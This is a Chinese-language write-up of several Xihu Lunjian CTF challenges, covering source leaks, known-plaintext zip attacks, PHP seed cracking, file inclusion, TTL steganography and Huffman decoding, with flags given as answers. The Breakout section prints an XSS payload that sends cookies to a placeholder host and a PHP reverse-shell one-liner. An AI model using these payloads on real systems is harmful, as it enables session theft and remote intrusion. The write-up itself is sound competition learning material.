西湖论剑线上选拔赛部分WP

前言

赛后复现写的wp,没有环境了,大体总结下思路。
每次比赛都是一次被虐+学习的过程。
膜拜师傅们了XD.

WEB

1、猜猜flag是什么

知识点:

源码泄露、已知明文攻击、php随机数爆破

思路:

首先扫描源码,发现.DS_Store源码泄露,拿到另一个路径:

http://ctf2.linkedbyx.com:10522/e10adc3949ba59abbe56e057f20f883e/
扫描发现新路径下存在.git源码泄露,利用脚本恢复后,会得到加密的压缩包,还有一张图片和index.php,已知明文攻击。

压缩文件的时候要用好压或者在Mac OS 下压缩,不然没法攻击,因为压缩算法不同无法攻击。
利用明文攻击得到hint:

根据前期的信息收集访问:
http://ctf1.linkedbyx.com:10172/?name=yingyingying&code=9faedd5999937171912159d28b219d86
给出了code的值,利用bp进行进行传参,就会得到一个code:

猜测这个code就是随机数,利用随机数爆破工具php_mt_seed爆破种子,就会爆破得到种子

./php_mt_seed {code}

得到种子之后然后访问flag/{种子}.txt..得到flag:flag{0730b6193000e9334b12cf7c95fbc736}

2、Breakout

知识点:

XSS绕过、命令执行

思路:

先使用弱口令admin/admin登陆成功,也可以先注册然后登陆。
登陆后浏览下网站功能,发现存在exec可以执行命令,根据提示只有管理员才可以执行命令。

fuzz发现留言处存在XSS,思路是利用XSS获取cookie,然后执行命令。

< img src=x onerror
="var img = new Image();img.src='http://xx/?c='+document.cookie;">

onerror后换行即可绕过过滤。
提交连接给report ,查日志就得到admin的cookie:

admin=admin_!@@!_admin_admin_hhhhh
拿到cookie,登陆admin,在exec.php下执行命令就可以了。
payload:

php -r '$sock=fsockopen("x.x.x.x",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

ps:第一次接触XSS的题目,膜一波618师傅,tql.

3、babyt3

知识点:

文件包含、目录遍历

思路:

文件包含绕过的题目关键代码:
先利用伪协议读取源码:

?file=php://filter/convert.base64-encode/resource=index.php

得到源码:

 <?php
 $a = @$_GET['file'];
 if (!$a) {
  $a = './templates/index.html';
 }
 echo 'include $_GET[\'file\']';
 if (strpos('flag',$a)!==false) {
  die('nonono');
 }
 include $a;
 ?>
 

 <!--hint: ZGlyLnBocA== --> 

hint为dir.php 伪协议读取得到:

<?php
 $a = @$_GET['dir'];
 if(!$a){
 $a = '/tmp';
 }
 var_dump(scandir($a)); 

这样就可以目录遍历,列下文件:

再利用伪协议读取文件:

?file=php://filter/convert.base64-encode/resource=/ffffflag_1s_Her4

就可以读到flag。

4、blog

梅子酒师傅wp写的:

原题:https://ctftime.org/writeup/10369
同年Google CTF另外的几个题目:https://otakekumi.github.io/2018/07/04/GoogleCTF-2018-Writeup-JsSafe-Translate-catChat-gCalc/

MISC

1、TTL隐藏数据

脚本:

import re
def get():
    f = open(r'ttl.txt', 'r')
    a = f.readlines()
    strings = ''    
    for i in a:
        i = re.findall('=(.*?)\n', i)[0]
        i = str(bin(int(i)))
        if len(i) == 8:
            s = '00'
        if len(i) == 9:
            s = '01'
        if len(i) == 10:
            s = i[2:4]
        strings += s
    return strings
strings=get()
newstring = ''
for i in range(0, len(strings), 8):
    strs = int(strings[i:i+8], 2)
    newstring += chr(strs)
data = re.findall(r'(ffd8.*?ffd9)', newstring)
for i in range(len(data)):
    with open(str(i)+'.jpg','wb') as f:
        f.write(data[i].decode('hex'))

得到碎的二维码,拼接起来


得到密文和密钥,Vigenere解密前面是Flag,最后改为ee。

2、BFS算法

最短路径问题,找两者联系的最短路径就可以了
直接肉眼加手撕可以出来。。
利用python3的基本库:

import networkx as s
maps=[位置]
G = s.Graph()
G.add_edges_from(maps)
try:
    n=s.shortest_path(G,"flag{","75D}")
    print (n)
except s.networkXNopath:
    print ("no path")

flag:flag{E3EvelynJeffersonE9FloraPrice75D}

CRPTO

1、哈夫曼编码

哈夫曼编码 二叉树问题
学习了一波哈夫曼编码的知识手画就可以了。得到flag:
flag{ddf5dfd0f05550500a5af55dd0d5d0ad}
也可以利用网上的C脚本

1 + 8 =
快来做第一个评论的人吧~